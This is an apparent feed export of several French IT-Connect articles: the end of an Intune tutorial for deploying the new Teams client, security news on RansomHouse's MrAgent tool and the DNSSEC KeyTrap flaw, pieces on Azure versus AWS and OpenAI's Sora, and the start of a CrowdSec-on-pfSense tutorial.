<p>Pour l'étape "<strong>Exigences</strong>", sélectionnez Windows <strong>64 bits </strong>et le système d'exploitation minimal "<strong>Windows 10 1607</strong>", puis continuez.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="799" height="595" src="media/aa510393.Intune-Creer-application-Teams-New-Etape-4.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Creer-application-Teams-New-Etape-4.png" alt="Intune - Créer application Teams (New) - Etape 4" class="wp-image-76127" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Creer-application-Teams-New-Etape-4.png 799w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Creer-application-Teams-New-Etape-4-550x410.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Creer-application-Teams-New-Etape-4-150x112.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Creer-application-Teams-New-Etape-4-768x572.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Creer-application-Teams-New-Etape-4-50x37.png 50w" sizes="(max-width: 799px) 100vw, 799px" /></figure>



<h3 class="wp-block-heading">D. Règles de détection</h3>



<p>Pour détecter la présence de l'application Microsoft Teams, nous allons utiliser notre script PowerShell "<strong>NewTeamsDetection.ps1</strong>".</p>



<ul>
<li><strong>Format des règles</strong> : utiliser un script de détection personnalisé</li>



<li><strong>Fichier de script </strong>: NewTeamsDetection.ps1</li>
</ul>



<p>Le contenu du script s'affiche dans l'interface d'Intune :</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="514" src="media/3086579e.Intune-Creer-application-Teams-New-Etape-5.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Creer-application-Teams-New-Etape-5.png" alt="Intune - Créer application Teams (New) - Etape 5" class="wp-image-76126" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Creer-application-Teams-New-Etape-5.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Creer-application-Teams-New-Etape-5-550x353.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Creer-application-Teams-New-Etape-5-150x96.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Creer-application-Teams-New-Etape-5-768x493.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Creer-application-Teams-New-Etape-5-50x32.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Suite à l'installation de Microsoft Teams, Intune exécutera ce script pour détecter si l'installation est présente ou non.</p>



<h3 class="wp-block-heading">E. Dépendances</h3>



<p>Passez cette étape.</p>



<h3 class="wp-block-heading">F. Remplacement</h3>



<p>Passez cette étape.</p>



<h3 class="wp-block-heading">G. Affectations</h3>



<p>Pour finir, sous "<strong>Obligatoire</strong>", affectez l'application aux machines de votre choix grâce à la sélection d'un ou plusieurs groupes. Pour ma part, ce sera "<strong>Tous les appareils</strong>" car il s'agit d'un lab. En production, ciblez un groupe avec des machines de tests dans un premier temps.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="293" src="media/affa2bc7.Intune-Creer-application-Teams-New-Affectations-800x293.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Creer-application-Teams-New-Affectations-800x293.png" alt="Intune - Créer application Teams (New) - Affectations" class="wp-image-76135" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Creer-application-Teams-New-Affectations-800x293.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Creer-application-Teams-New-Affectations-550x202.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Creer-application-Teams-New-Affectations-150x55.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Creer-application-Teams-New-Affectations-768x281.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Creer-application-Teams-New-Affectations-50x18.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Creer-application-Teams-New-Affectations.png 1015w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Poursuivez jusqu'à la fin de la création de l'application. Il ne reste plus qu'à tester !</p>



<h2 class="wp-block-heading">IV. Tester sur un appareil</h2>



<p>Sur un appareil concerné par la stratégie d'application, vous devriez voir l'application Teams (New) apparaître. Bien entendu, vous pouvez forcer une synchronisation pour ne pas avoir besoin d'attendre...</p>



<p>Puisque nous n'avons pas retiré les notifications, vous devriez voir apparaître ceci lorsque le processus va débuter :</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="167" src="media/1df8490e.Intune-Notification-installation-Microsoft-Teams.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Notification-installation-Microsoft-Teams.jpg" alt="" class="wp-image-76136" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Notification-installation-Microsoft-Teams.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Notification-installation-Microsoft-Teams-550x115.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Notification-installation-Microsoft-Teams-150x31.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Notification-installation-Microsoft-Teams-768x160.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Notification-installation-Microsoft-Teams-50x10.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Une fois l'opération terminée, le statut sera visible dans Intune :</p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="533" src="media/76bb7355.une-Creer-application-Teams-New-Suivi-du-deploiement-800x533.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Creer-application-Teams-New-Suivi-du-deploiement-800x533.png" alt="Intune - Créer application Teams (New) - Suivi du déploiement" class="wp-image-76125" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Creer-application-Teams-New-Suivi-du-deploiement-800x533.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Creer-application-Teams-New-Suivi-du-deploiement-550x366.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Creer-application-Teams-New-Suivi-du-deploiement-150x100.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Creer-application-Teams-New-Suivi-du-deploiement-768x512.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Creer-application-Teams-New-Suivi-du-deploiement-50x33.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Creer-application-Teams-New-Suivi-du-deploiement.png 920w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Sur le PC, nous pouvons aussi exécuter notre commande de détection manuellement, et nous verrons qu'elle retourne bien un dossier ! Ceci signifie que l'installation s'est déroulée correctement !</p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="167" src="media/15858a6d.ter-installation-Microsoft-Teams-New-avec-PowerShell-800x167.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Detecter-installation-Microsoft-Teams-New-avec-PowerShell-800x167.png" alt="Détecter installation Microsoft Teams New avec PowerShell" class="wp-image-76137" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Detecter-installation-Microsoft-Teams-New-avec-PowerShell-800x167.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Detecter-installation-Microsoft-Teams-New-avec-PowerShell-550x115.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Detecter-installation-Microsoft-Teams-New-avec-PowerShell-150x31.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Detecter-installation-Microsoft-Teams-New-avec-PowerShell-768x161.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Detecter-installation-Microsoft-Teams-New-avec-PowerShell-50x10.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Detecter-installation-Microsoft-Teams-New-avec-PowerShell.png 890w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Le nouveau client Teams apparait également dans le menu Démarrer :</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="371" src="media/86cda271.Installation-Microsoft-Teams-New-avec-Intune.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Installation-Microsoft-Teams-New-avec-Intune.jpg" alt="Installation Microsoft Teams New avec Intune" class="wp-image-76138" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Installation-Microsoft-Teams-New-avec-Intune.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Installation-Microsoft-Teams-New-avec-Intune-550x255.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Installation-Microsoft-Teams-New-avec-Intune-150x70.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Installation-Microsoft-Teams-New-avec-Intune-768x356.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Installation-Microsoft-Teams-New-avec-Intune-50x23.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>En cas de problème, analysez le fichier journal d'Intune Management Extension avec CMTrace pour identifier l'origine du problème. D'ailleurs, dans celui-ci, nous pouvons suivre les différentes étapes de l'installation et avoir également le retour de notre script de détection :</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="626" src="media/1046a1a8.Intune-Management-Extension-Detection-Teams.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Management-Extension-Detection-Teams.png" alt="Intune Management Extension - Détection Teams" class="wp-image-76165" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Management-Extension-Detection-Teams.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Management-Extension-Detection-Teams-550x430.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Management-Extension-Detection-Teams-150x117.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Management-Extension-Detection-Teams-768x601.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Management-Extension-Detection-Teams-50x39.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<h2 class="wp-block-heading">V. Conclusion</h2>



<p>En suivant ce tutoriel, et en l'adaptant à votre environnement, vous devriez être en mesure de déployer la nouvelle application Microsoft Teams sur vos appareils Windows 10 et Windows 11 inscrits dans Intune !</p>



<p>En complément, dans le <a href="https://admin.teams.microsoft.com" target="_blank" rel="noopener nofollow" title="">Centre d'administration Microsoft Teams</a>, vous pouvez <strong>configurer la stratégie de mise à jour de Teams </strong>pour basculer sur le mode "<strong>Nouvelles équipes par défaut</strong>", ce qui correspond au nouveau client Teams (<em>traduction un peu hasardeuse...</em>). Ici, je fais référence à cette option :</p>



<figure class="wp-block-image size-large"><a href="media/cc293d13.configurer-la-strategie-de-mise-a-jour-de-Teams.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/configurer-la-strategie-de-mise-a-jour-de-Teams.png"><img decoding="async" width="800" height="405" src="media/3d42de61.configurer-la-strategie-de-mise-a-jour-de-Teams-800x405.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/configurer-la-strategie-de-mise-a-jour-de-Teams-800x405.png" alt="configurer la stratégie de mise à jour de Teams" class="wp-image-76166" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/configurer-la-strategie-de-mise-a-jour-de-Teams-800x405.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/configurer-la-strategie-de-mise-a-jour-de-Teams-550x278.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/configurer-la-strategie-de-mise-a-jour-de-Teams-150x76.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/configurer-la-strategie-de-mise-a-jour-de-Teams-768x389.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/configurer-la-strategie-de-mise-a-jour-de-Teams-50x25.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/configurer-la-strategie-de-mise-a-jour-de-Teams.png 1369w" sizes="(max-width: 800px) 100vw, 800px" /></a></figure><p>The post <a href="https://www.it-connect.fr/intune-comment-deployer-le-nouveau-teams-sur-windows/">Intune – Comment déployer le nouveau Teams sur Windows ?</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=76354
uri: Le-ransomware-RansomHouse-s-appuie-sur-l-outil-MrAgent-pour-automa
title:
Le ransomware RansomHouse s’appuie sur l’outil MrAgent pour automatiser les attaques sur VMware ESXi

url:
https://www.it-connect.fr/le-ransomware-ransomhouse-sappuie-sur-loutil-mragent-pour-automatiser-les-attaques-sur-vmware-esxi/

content:
<p><strong>MrAgent, c'est le nom du nouvel outil mis au point par le gang de ransomware RansomHouse ! Son rôle ? Automatiser sa propagation d'un hyperviseur VMware ESXi à un autre pour chiffrer les machines virtuelles. Faisons le point sur cette menace.</strong></p>



<p>Lancé en décembre 2021, RansomHouse est ce que l'on appelle un Ransomware-as-a-Service, et il a été utilisé pour cibler de grandes organisations tout au long de l'année 2023, d'après <a href="https://www.trellix.com/blogs/research/ransomhouse-am-see/" target="_blank" rel="noopener nofollow" title="">un rapport de Trellix</a>. Il est capable de s'attaquer aux hyperviseurs VMware ESXi dans le but de chiffrer les machines virtuelles, et c'est loin d'être le seul ransomware à avoir cette capacité.</p>



<p>Et visiblement, les cybercriminels ont décidé de passer à la vitesse supérieure grâce à l'utilisation d'un outil baptisé MrAgent. Il a été découvert par les analystes de Trellix, suite à des investigations menées en réponse à des incidents de sécurité. </p>



<p>MrAgent agit en complément du ransomware et il reçoit des ordres de la part des pirates depuis un serveur C2 qui sert d'intermédiaire. Il a pour objectif d'identifier le système local, de <strong>désactiver le pare-feu</strong>, et de <strong>se propager sur d'autres <a class="wpil_keyword_link" href="https://www.it-connect.fr/les-types-dhyperviseurs/" target="_blank" rel="noopener" title="hyperviseurs" data-wpil-keyword-link="linked">hyperviseurs</a> VMware ESXi</strong> dans le but de faire <strong>un maximum de dégâts</strong>. En effet, sur chaque hyperviseur où il parvient à se déployer, <strong>il va automatiquement chiffrer les machines virtuelles.</strong> Il va également surveiller l'activité de l'hyperviseur pour arrêter tous les processus qui pourraient interférer avec l'opération de chiffrement.</p>



<p><strong>Les cybercriminels peuvent configurer MrAgent à distance pour planifier le chiffrement des machines virtuelles</strong>, pour ajuster les paramètres de chiffrement ou encore pour modifier le mot de passe de l'hyperviseur VMware.</p>



<p>Le rapport de Trellix précise : "<em>Les efforts déployés pour automatiser (davantage) les étapes qui sont souvent exécutées manuellement montrent à la fois l'intérêt et la volonté de l'attaquant de cibler de grands réseaux</em>." - Ceci correspond au fait que RansomHouse s'attaque en priorité aux grandes organisations.</p>



<p>Enfin, les analystes de Trellix ont également pu<strong> identifier une version de MrAgent compatible Windows</strong>. Ceci montre que le gang de ransomware RansomHouse a l'ambition d'automatiser ce processus aussi bien sur des machines <a class="wpil_keyword_link" href="https://www.it-connect.fr/cours-tutoriels/administration-systemes/linux/" target="_blank" rel="noopener" title="Linux" data-wpil-keyword-link="linked">Linux</a> que des machines Windows.</p>



<p><a href="https://www.bleepingcomputer.com/news/security/ransomhouse-gang-automates-vmware-esxi-attacks-with-new-mragent-tool/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/le-ransomware-ransomhouse-sappuie-sur-loutil-mragent-pour-automatiser-les-attaques-sur-vmware-esxi/">Le ransomware RansomHouse s’appuie sur l’outil MrAgent pour automatiser les attaques sur VMware ESXi</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=76286
title: D’ici 2026, Microsoft Azure pourrait dépasser Amazon AWS et devenir le leader du Cloud Public !
uri: D-ici-2026-Microsoft-Azure-pourrait-dépasser-Amazon-AWS-et-devenir
url:
https://www.it-connect.fr/en-2026-microsoft-azure-pourrait-depasser-amazon-aws-et-devenir-le-leader-du-cloud-public/

content:
<p><strong>Depuis plus d’une décennie, Amazon AWS s’est imposé comme le leader mondial incontesté des plateformes de cloud public, devant Microsoft Azure, Google Cloud Platform (GCP) et Alibaba Cloud. En 2023, AWS a fait l’objet d’une légère baisse des parts du marché en faveur d’Azure et des experts estiment que Microsoft pourrait devenir le plus grand fournisseur de services cloud à partir de 2026.</strong></p>



<h2 class="wp-block-heading">La course à l'intelligence artificielle</h2>



<p>Mais qu’est-ce qui explique ce revirement ? Tout porte à croire que l’engouement du grand public pour l’intelligence artificielle suscité par ChatGPT en 2023 a été très favorable pour <a href="https://blogs.microsoft.com/blog/2023/01/23/microsoftandopenaiextendpartnership/" target="_blank" rel="noopener nofollow" title="">Microsoft qui travaille en partenariat avec OpenAI depuis 2019</a>. En effet, dans la foulée du succès de ChatGPT, Microsoft a investi massivement en l'IA et lancé plusieurs nouveaux produits qui s’appuient sur l’intelligence artificielle générative.</p>



<p>L'année 2023 fut l'occasion pour Microsoft de relancer le moteur de recherche Bing en y intégrant l'assistant Copilot Bing Chat, un chatbot conçu à partir d'un modèle construit sur ChatGPT. L'offre de Copilot a également été bonifiée et son ajout à Microsoft 365 sous forme d'abonnement a reçu un accueil favorable et promet d'être très lucrative. </p>



<p>Parallèlement, Satya Nadella notait une nette augmentation des utilisateurs de la plateforme Azure AI, un service qui comprend une suite de solutions telles qu'Azure Machine Learning, Azure Cognitive Services et Azure Applied AI Services. À cet effet, <a href="https://www.cnbc.com/2024/02/12/microsoft-ai-growth-helping-azure-cloud-chip-away-at-amazons-lead.html" target="_blank" rel="noopener nofollow" title="">Microsoft a ajouté de nombreux GPUs à ses centres de données</a> pour que les clients puissent mettre en place leurs propres modèles d'IA dans Azure.</p>



<p>Pour sa part, Amazon a annoncé en septembre dernier <a href="https://www.cnbc.com/2023/09/25/amazon-to-invest-up-to-4-billion-in-anthropic-a-rival-to-chatgpt-developer-openai.html" target="_blank" rel="noopener nofollow" title="">un partenariat assorti d'un investissement de 4 milliards de dollars</a> avec la startup d'intelligence artificielle Anthropic qui développe « Claude », un chatbot similaire à ChatGPT. Il n'en demeure pas moins que ce partenariat n'a pas été aussi retentissant que celui de Microsoft avec OpenAI et, durant la dernière année, le grand public a massivement adopté ChatGPT qui est devenu une référence.</p>



<h2 class="wp-block-heading">Microsoft accélère la mise en place de Copilot</h2>



<p>En janvier 2024, Microsoft a annoncé que tous les <a href="https://www.it-connect.fr/le-clavier-des-pc-windows-va-accueillir-une-nouvelle-touche-pour-copilot/" target="_blank" rel="noopener" title="Le clavier des PC Windows va accueillir une nouvelle touche pour Copilot !">claviers Windows seraient désormais munis d’une touche dédiée à Copilot</a>, ce qui va inciter fortement les utilisateurs à privilégier les technologies OpenAI/Microsoft au détriment des solutions concurrentes. De plus, Microsoft a déjà ajouté Copilot aux derniers correctifs Windows et de nombreux systèmes disposent maintenant du logiciel en version préliminaire.</p>



<p>La course à l'IA est devenue le nerf de la guerre des grands fournisseurs de services de cloud public. Il sera intéressant de voir si les experts ont vu juste en prévoyant qu'Azure pourrait dépasser AWS en 2026 en termes de revenus et de part de marché du cloud computing. D'ici là, plusieurs innovations sont à prévoir dans le domaine de l'IA, et le monde de l'informatique connaîtra de nombreuses transformations qui vont créer de belles opportunités.</p>



<p>Sources : </p>



<ul>
<li><a href="https://www.forbes.com/sites/petercohan/2024/02/13/why-microsoft-azure-could-take-the-cloud-lead-from-amazon-aws-by-2026/?sh=34601e91410a" target="_blank" rel="noopener nofollow" title="">Why Microsoft Azure Could Take The Cloud Lead From Amazon AWS By 2026</a></li>



<li><a href="https://www.crn.com/news/cloud/2024/cloud-market-share-q4-2023-results-aws-falls-as-microsoft-grows?page=6&amp;itc=refresh" target="_blank" rel="noopener nofollow" title="">Cloud Market-Share Q4 2023 Results: AWS Falls As Microsoft Grows</a></li>
</ul><p>The post <a href="https://www.it-connect.fr/en-2026-microsoft-azure-pourrait-depasser-amazon-aws-et-devenir-le-leader-du-cloud-public/">D’ici 2026, Microsoft Azure pourrait dépasser Amazon AWS et devenir le leader du Cloud Public !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=76381
title: OpenAI Sora, la nouvelle IA capable de générer des vidéos incroyables
uri: OpenAI-Sora-la-nouvelle-IA-capable-de-générer-des-vidéos-incroyabl
url: https://www.it-connect.fr/openai-sora-la-nouvelle-ia-capable-de-generer-des-videos-incroyables/
content:
<p><strong>OpenAI et l'intelligence artificielle continuent de nous étonner, de nous surprendre ! Sora, c'est le nom d'une nouvelle IA générative capable de générer des vidéos à partir d'une simple description par texte.</strong></p>



<p>Déjà à l'origine de plusieurs intelligences artificielles comme ChatGPT, que vous connaissez tous, et DALL-E qui sert à générer des images, OpenAI vient d'ajouter une nouvelle IA à son arsenal d'outils : Sora. Il s'agit d'une IA générative de type "<strong>text-to-video</strong>".</p>



<p>L'idée est simple : <strong>vous avez un prompt, vous saisissez la description de la vidéo que vous souhaitez obtenir, et Sora s'occupe du reste.</strong> Sora est capable de générer des vidéos allant jusqu'à <strong>60 secondes</strong>.</p>



<p>OpenAI a mis en ligne plusieurs exemples pour mettre en avant les performances de Sora. Alors, bien sûr, l'entreprise américaine a pris soin de<strong> sélectionner les meilleurs résultats</strong>, mais nous pouvons que cette IA à un énorme potentiel et que ce sera forcément révolutionnaire.</p>



<p><strong>En s'appuyant en partie sur DALL-E, Sora peut :</strong></p>



<ul>
<li>Générer des vidéos, intégralement</li>



<li>Compléter des vidéos existantes</li>



<li>Animer une image fixe afin de la rendre vivante</li>
</ul>



<p>Actuellement, Sora est accessible pour certaines personnes uniquement, afin que le modèle puisse être testé. OpenAI veut l'optimiser, évaluer les risques, et le sécuriser pleinement avant de le rendre accessible au plus grand nombre. En effet,<strong> Sora est une aubaine pour la création de "fakes" et de contenus trompeurs.</strong> Il est essentiel qu'OpenAI prenne les devants pour que cette IA ne participe pas au fléau de la désinformation.</p>



<p><strong>Pour voir les exemples de vidéos générées par Sora, vous pouvez consulter le site officiel d'OpenAI sur cette page :</strong></p>



<ul>
<li><a href="https://openai.com/sora" target="_blank" rel="noopener nofollow" title="">Voir les exemples de Sora</a></li>
</ul>



<blockquote class="twitter-tweet" data-media-max-width="560"><p lang="en" dir="ltr">Introducing Sora, our text-to-video model.<br><br>Sora can create videos of up to 60 seconds featuring highly detailed scenes, complex camera motion, and multiple characters with vibrant emotions. <a href="https://t.co/7j2JN27M3W">https://t.co/7j2JN27M3W</a><br><br>Prompt: “Beautiful, snowy… <a href="https://t.co/ruTEWn87vf">pic.twitter.com/ruTEWn87vf</a></p>&mdash; OpenAI (@OpenAI) <a href="https://twitter.com/OpenAI/status/1758192957386342435?ref_src=twsrc%5Etfw">February 15, 2024</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>



<p>À l'avenir, j'ai bien l'impression, que nous devrons douter de <em>toutes </em>les images et les vidéos que l'on voit… Avons-nous vraiment besoin de cela ? Pas vraiment.</p>



<p><strong>Qu'en pensez-vous ?</strong></p><p>The post <a href="https://www.it-connect.fr/openai-sora-la-nouvelle-ia-capable-de-generer-des-videos-incroyables/">OpenAI Sora, la nouvelle IA capable de générer des vidéos incroyables</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=76465
title: DNSSEC : un seul paquet peut perturber l’accès à Internet avec l’attaque KeyTrap
uri: 2024-02-18-
url:
https://www.it-connect.fr/dnssec-un-seul-paquet-peut-perturber-lacces-a-internet-avec-lattaque-keytrap/

content:
<p><strong>L'attaque KeyTrap, c'est le nom donné à une nouvelle vulnérabilité découverte dans DNSSEC. Elle affecte tous les services et toutes les implémentations de DNS populaires, y compris bind9, dnsmasq, PowerDNS Recursor ainsi que le serveur DNS de Windows Server. Faisons le point.</strong></p>



<p>Pour rappel, DNSSEC est une extension du DNS qui améliore la sécurité du service DNS grâce à l'ajout de signatures afin de pouvoir authentifier les réponses. Nous en avions parlé dans ce tutoriel : <a href="https://www.it-connect.fr/securite-du-dns-activer-dnssec-sur-une-zone-dns-active-directory/" target="_blank" rel="noopener" title="Sécurité du DNS – Activer DNSSEC sur une zone DNS Active Directory">comment configurer DNSSEC sur Windows Server 2022 ?</a></p>



<p>En ce qui concerne la faille de sécurité KeyTrape, elle est associée à la référence<strong> CVE-2023-50387</strong>, et elle a été <strong>découverte par des chercheurs et experts allemands</strong>, issus de l'institut de recherche ATHENE, de l'université Goethe de Francfort, du Fraunhofer SIT et de l'université technique de Darmstadt.</p>



<p>D'après eux, <strong>cette vulnérabilité est présente dans DNSSEC depuis plus de 20 ans</strong> ! Elle est liée au fonctionnement de DNSSEC, notamment dans la gestion des clés cryptographiques. En exploitant cette vulnérabilité,<strong> il est possible d'effectuer un déni de service sur le système DNS pris pour cible</strong>. En effet, à partir d'une seule requête, la réponse retournée par le service DNS peut être <strong>retardée de 56 secondes à 16 heures</strong> (en fonction du type de service).</p>



<h2 class="wp-block-heading">Quels sont les services et serveurs DNS affectés ?</h2>



<p>D'après les chercheurs : "<em>Avec KeyTrap, un attaquant pourrait complètement désactiver de grandes parties de l'Internet mondial</em>", preuve que cette vulnérabilité est importante. Ceci se justifie par le fait qu'<strong>elle impacte les fournisseurs de services DNS les plus importants, tels que Google et Cloudflare</strong>. </p>



<p>Voici un tableau publié par les chercheurs en sécurité (visible dans <a href="media/5f69d39c.Keytrap_2401.pdf" data-original-source="https://www.athene-center.de/fileadmin/content/PDF/Keytrap_2401.pdf" target="_blank" rel="noopener nofollow" title="">ce rapport</a>) où l'on peut voir <strong>quelles sont les applications et les services vulnérables </strong>:</p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="644" height="722" src="media/a79c2a7c.DNSSEC-KeyTrap-Tableau.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/DNSSEC-KeyTrap-Tableau.png" alt="DNSSEC - KeyTrap - Tableau" class="wp-image-76466" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/DNSSEC-KeyTrap-Tableau.png 644w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/DNSSEC-KeyTrap-Tableau-550x617.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/DNSSEC-KeyTrap-Tableau-134x150.png 134w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/DNSSEC-KeyTrap-Tableau-45x50.png 45w" sizes="(max-width: 644px) 100vw, 644px" /></figure>



<p><strong>Depuis novembre 2023,</strong> des travaux sont en cours chez <strong>Google, Cloudflare, mais également chez Akamai </strong>pour déployer d<strong>es mesures d'atténuations </strong>permettant de se protéger de cette vulnérabilité liée au fonctionnement de DNSSEC. Du côté de chez Microsoft, il semblerait que la <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-50387" target="_blank" rel="noopener nofollow" title="">mise à jour cumulative pour Windows Server </a>déployée à l'occasion du <a href="https://www.it-connect.fr/patch-tuesday-fevrier-2024-73-vulnerabilites-corrigees-et-2-faille-de-securite-zero-day/" target="_blank" rel="noopener" title="Patch Tuesday – Février 2024 : 73 vulnérabilités corrigées et 2 failles de sécurité zero-day !">Patch Tuesday de Février 2024</a> permette de corriger cette vulnérabilité.</p>



<p>D'après un <a href="https://www.akamai.com/blog/security/dns-exploit-keytrap-posed-major-internet-threat" target="_blank" rel="noopener nofollow" title="">rapport d'Akamai</a> : "<em>environ 35 % des utilisateurs d'Internet basés aux États-Unis et 30 % des utilisateurs d'Internet dans le monde utilisent des résolveurs DNS qui utilisent la validation DNSSEC et sont donc vulnérables à KeyTrap.</em>".</p>



<p><a href="https://www.bleepingcomputer.com/news/security/keytrap-attack-internet-access-disrupted-with-one-dns-packet/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/dnssec-un-seul-paquet-peut-perturber-lacces-a-internet-avec-lattaque-keytrap/">DNSSEC : un seul paquet peut perturber l’accès à Internet avec l’attaque KeyTrap</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=75838
title: Installer CrowdSec sur un pare-feu PfSense pour protéger son réseau
uri: Installer-CrowdSec-sur-un-pare-feu-PfSense-pour-protéger-son-réseau
url: https://www.it-connect.fr/tuto-installation-crowdsec-pare-feu-pfsense/
content:
<h2 class="wp-block-heading">I. Présentation</h2>



<p><strong>Dans ce tutoriel, nous allons voir comment installer CrowdSec sur un pare-feu PfSense dans le but de bloquer les adresses IP malveillantes, notamment à l'origine d'attaques brute force, de scans de port et de recherche de vulnérabilités web (HTTP). </strong></p>



<ul>
<li><a href="https://youtu.be/FNEbo5Xv50g" target="_blank" rel="noopener nofollow" title="">Voir la vidéo sur YouTube</a></li>
</ul>



<iframe class="iframe_youtube" src="https://www.youtube.com/embed/FNEbo5Xv50g" title="" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen></iframe>



<p>CrowdSec, que nous avons déjà abordé au sein de plusieurs articles, est une <strong>solution gratuite</strong> et <strong>open source</strong> capable de <strong>détecter et bloquer les attaques</strong> à destination des machines, grâce à la prise en charge de nombreux scénarios de détection. CrowdSec prend en charge Linux, Windows Server, FreeBSD, et il peut être mis en place sur certains firewalls comme PfSense et OPNSense.</p>



